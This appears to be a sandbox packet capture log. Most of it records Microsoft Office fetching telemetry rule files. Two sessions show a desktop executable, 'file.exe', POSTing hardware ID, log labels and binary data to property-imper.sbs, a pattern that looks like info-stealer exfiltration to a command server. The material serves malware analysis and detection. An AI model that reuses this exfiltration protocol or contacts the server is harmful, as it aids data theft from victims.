2024-11-24 04:11:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:25 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8592a006-f01e-0085-6b6a-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041126Z-174c587ffdfcj798hC1TEB9bq400000003y000000000uepq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:25 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:26 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041126Z-15b8b599d889gj5whC1TEBfyk000000003tg000000004wk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:26 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:26 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:26 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ebbc676-001e-005a-784b-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041126Z-15b8b599d88pxmdghC1TEBux9c000000040g00000000bkr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:26 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49717	104.21.33.116	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:26 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5TX32GKA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15022 Host: property-imper.sbs
2024-11-24 04:11:26 UTC	15022	OUT	Data Raw: 2d 2d 35 54 58 33 32 47 4b 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 41 46 45 44 38 41 38 43 46 38 42 41 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 35 54 58 33 32 47 4b 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 54 58 33 32 47 4b 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 54 58 33 32 47 4b 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --5TX32GKAContent-Disposition: form-data; name="hwid"95AFED8A8CF8BAD4D7CBBD6DF28D3732--5TX32GKAContent-Disposition: form-data; name="pid"2--5TX32GKAContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--5TX32GKAContent-Di
2024-11-24 04:11:27 UTC	1027	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=42vj1o2abondd9ikitaltcjp0a; expires=Wed, 19-Mar-2025 21:58:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WofT%2Bte0sP43y9PfqtokxAu2aW1gFhPMy%2FP4dJh8kQY9gl5O%2FfHFFIUuda%2BK8f%2FlXufWRalys0ujrQY2EewWFXV0%2BwUkjo6lJfWgslqKj%2FJUsPAzOTsCmbBhJ72%2FvSN1pgXYV0E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e768e121f888ca7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1846&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=15954&delivery_rate=1565683&cwnd=128&unsent_bytes=0&cid=68b2b3f0b2ee1072&ts=883&x=0"
2024-11-24 04:11:27 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 04:11:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:28 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: e98193a8-301e-003f-0a64-3d266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041128Z-15b8b599d88phfhnhC1TEBr51n00000003y000000000h1f2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:28 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041128Z-178bfbc474b9fdhphC1NYCac0n00000005f0000000001g30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:28 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30a29eaf-701e-001e-220f-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041128Z-178bfbc474btvfdfhC1NYCa2en00000005f000000000c544 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:28 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041128Z-174c587ffdfb5q56hC1TEB04kg00000003s000000000kdy2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:11:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:28 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041128Z-178bfbc474btrnf9hC1NYCb80g00000005m000000000abs9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49723	104.21.33.116	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:28 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ESYKU00NDFI8Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20377 Host: property-imper.sbs
2024-11-24 04:11:28 UTC	15331	OUT	Data Raw: 2d 2d 45 53 59 4b 55 30 30 4e 44 46 49 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 41 46 45 44 38 41 38 43 46 38 42 41 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 45 53 59 4b 55 30 30 4e 44 46 49 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 53 59 4b 55 30 30 4e 44 46 49 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 53 59 4b 55 Data Ascii: --ESYKU00NDFI8YContent-Disposition: form-data; name="hwid"95AFED8A8CF8BAD4D7CBBD6DF28D3732--ESYKU00NDFI8YContent-Disposition: form-data; name="pid"3--ESYKU00NDFI8YContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ESYKU
2024-11-24 04:11:28 UTC	5046	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-11-24 04:11:29 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ldohqgn23v1ogqnj1g609psiu; expires=Wed, 19-Mar-2025 21:58:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0NOWLciaxz2xo956b%2BQj2p4ht8sSQilA1PzuJ3uULPEev%2BZyVCG6oi7R0EZ042Q1z7bMaKw6osyY89gO5JLLgVSJg0%2B2VsIUH2zv%2FONkYVIqzQZatD57cdX29Ohvg8SK82Fee0I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e768e208e8a7286-EWR alt-svc: h3=":443"; ma=86400 server-timing: 